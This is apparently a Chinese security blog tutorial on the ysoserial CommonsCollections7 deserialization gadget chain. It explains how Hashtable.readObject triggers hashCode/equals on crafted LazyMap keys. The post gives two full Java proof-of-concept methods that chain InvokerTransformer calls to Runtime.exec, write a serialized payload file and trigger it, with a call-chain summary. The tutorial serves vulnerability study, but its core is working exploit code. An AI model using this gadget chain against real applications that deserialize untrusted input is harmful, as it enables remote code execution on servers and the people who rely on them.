CommonsCollections7(基于ysoserial)
环境准备
JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
正文
CC7是CC6的一个变种,在 *CC7*(CommonsCollections7)攻击链中,使用HashTable替换了CC6中的HashMap结构,下边来介绍一下HashTable是怎么替代HashMap来完成反序列化操作的。
HashTable
Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,可以说HashTable是一种阉割版的HashMap。也可以这么理解:Hashtable 是 HashMap 的简化版,提供了类似的功能,但在一些方面做了限制和差异化设计。
站在应用的角度上来分析一下这两个类主要的区别,如果不理解的话可以去查一下对应的资料,这个并不影响Java安全的学习。
Hashtable 和 HashMap 的主要区别
- 线程安全性:
Hashtable:是线程安全的。所有的方法都是同步的,因此多个线程可以同时访问Hashtable,而不需要额外的同步控制。但同步会带来性能上的开销。HashMap:不是线程安全的。如果多个线程同时访问HashMap,并且至少一个线程修改了映射关系,必须外部加锁来保证线程安全。
- Null 键和值:
Hashtable:不允许null键或null值。如果你尝试插入null键或值,会抛出NullPointerException。HashMap:允许一个null键和多个null值。可以使用null作为键或者值来存储元素。
- 性能:
Hashtable:由于方法是同步的,线程安全保证会导致在多线程环境下性能较差。HashMap:性能更高,因为它不是线程安全的,在单线程或外部管理同步的环境下,HashMap的性能优于Hashtable。
- 迭代器:
Hashtable:使用的是Enumerator,这种迭代器比较古老,并且不支持remove()方法。HashMap:使用的是Iterator,它是现代 Java 集合框架的一部分,支持remove()方法,可以更加灵活地操作元素。
- 子类:
Hashtable:Hashtable是一个较旧的类,是Dictionary类的子类。Dictionary在现代 Java 中已经不推荐使用,更多的是通过Map接口来实现。HashMap:HashMap是Map接口的实现,更加现代化,也是 Java 集合框架的核心组成部分。
- 底层实现
HashMap在底层使用了 数组 + 链表 + 红黑树 的结构,JDK 1.8 开始,HashMap引入了 红黑树 来优化冲突处理,这样做是为了提高查找效率,特别是在哈希冲突非常严重的情况下。红黑树提供了 O(log n) 的查找、插入和删除操作,而链表则是 O(n) 的。Hashtable它的底层结构主要由 数组 + 链表 组成,它在发生哈希冲突时的查找效率较低,最坏情况下是 O(n),而HashMap在严重冲突时会通过红黑树将查找效率降到 O(log n),这使得HashMap在处理大量数据时具有更好的性能。
分析可利用代码
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
// 重点看这个方法,就是这里触发了漏洞利用
reconstitutionPut(table, key, value);
}
......
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
......
// 这个调用了key的hashCode,如果key是构造好的TiedMapEntry攻击链,则会攻击链代码被执行
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
如果你对原理不太理解,可以参考CC5中的攻击链构造过程:https://www.cnblogs.com/erosion2020/p/18555069
POC编写
这里ysoserial的代码写的还是比较繁琐的,这里给出两种写法,其中cc7bySimplify的代码是简化版本的,其中cc7byYsoSerial代码是ysoserial中的代码去掉工具类的版本。
可以先分析cc7bySimplify中的代码,待到有一点感觉后再去分析cc7byYsoSerial,其实代码都是一样的。但是ysoserial写的代码稍微有点绕。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
static String serialFileName = "commons-collections7.ser";
public static void main(String[] args) throws Exception {
// cc7bySimplify();
cc7byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cc7bySimplify() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//TODO===========================CC7新的触发点 START=============================
Hashtable hashtable = new Hashtable();
hashtable.put(entry, 1);
lazyMap.clear();
//TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
public static void cc7byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{});
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs})};
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
//TODO===========================CC7新的触发点 START=============================
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
//TODO===============================CC6新的触发点 END=========================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
}
}
调试
弹个cmd窗口

调用链总结(简化版 - cc7bySimplify)
- ObjectInputStream.readObject()
- HashTable.readObject()
- HashTable.reconstitutionPut()
- TiedMapEntry.hashCode()
- TiedMapEntry.getValue()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- ChainedTransformer.transform()
- LazyMap.get()
CommonsCollections7(基于ysoserial)的更多相关文章
- ysoserial分析【一】 之 Apache Commons Collections
目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...
- Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...
- 基于CommonsCollections4的Gadget分析
基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- ysoserial exploit/JRMPClient
ysoserial exploit/JRMPClient 上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听.再使用exploit/JRMPClient模块发 ...
- ysoserial payloads/JRMPClient
ysoserial payloads/JRMPClient 环境:JDK8u102 payloads/JRMPClient可以配合exploit/JRMPListener模块来使用 1.在自己服务器上 ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
随机推荐
- SSM_Spring+SpringMVC+MyBatis学习
没听过的重点部分 springSecurity 4.0开始默认打开_csrf防护,但是会导致403 forbidden问题,所以可以关闭,但是关了就没有csrf防护了 其中还有传递的token和加密的 ...
- 将微信小程序的代码上传到github
在微信小程序端上传的时候会报错,昨天整了一晚上,没有解决.今天偶然发现了解决方案,下面分为两种情况来说. 一.未生成git仓库 将一号区域的代码粘贴到微信小程序的终端即可 二.已生成了git仓库 将二 ...
- Vue Element-ui Table实现动态新增和删除
达到效果:1.点击添加动态添加一行表格数据 2.点击移除删除一行 templete部分代码 <el-tab-pane label="股东情况"> <el-row& ...
- macOS 移除顽固打印机信息
问题描述 当我打开 Parallels Desktop 的 Ubuntu 虚拟机时,总是会看到打印机已添加的提示: 查看已有打印机信息 $ lpstat -p 打印机Lenovo_M7206W闲置,启 ...
- 【YashanDB数据库】Ubuntu系统加载Yashan C驱动后无法使用PHP
[问题分类]驱动使用 [关键字]驱动使用.PHP.Ubuntu.C驱动 [问题描述] 客户将YashanDB的C驱动lib加载到环境变量LD_LIBRARY_PATH后,PHP报错:PHP Fatal ...
- Java 多个String(字符串)判断是否null(空值)
Java 多个String(字符串)判断是否null(空值) 示例: String s = null; if (str1 != null) { s = str1; } else if (str2 != ...
- vue3 如何获取 dom
1. 通过 ref 1. 在 html 标签上指定 ref 属性 2. 在 setup 中定义并返回.注意:标签上的 ref 属性名需要跟 setup 中的对应 <h1 ref= ...
- ASP.NET Core – Try Preview
前言 .NET 7 已经来到 RC 阶段了. 通常 RC 就是我们 (写库的人) 要入场的时候了. 有发现 Bug 要尽可能在这段期间提交. 不然后患无穷. 这篇主要就是来讲讲如果测试 RC 版本的 ...
- 记一次 公司.NET项目部署在Linux环境压测时 内存暴涨分析
一:背景 讲故事 公司部署在某碟上的项目在9月份压测50并发时,发现某个容器线程.内存非正常的上涨,导致功能出现了异常无法使用.根据所学,自己分析了下线程和内存问题,分析时可以使用lldb或者wind ...
- Scala编程语言基本常识
本文参考来源: Scala编程语言基本常识 – 萌面人博客 一 基本常识 Scala被称为大数据的黄金语言,它的发明人是马丁奥德斯基(Martin Odersky) 2001年诞生,融合了Ja ...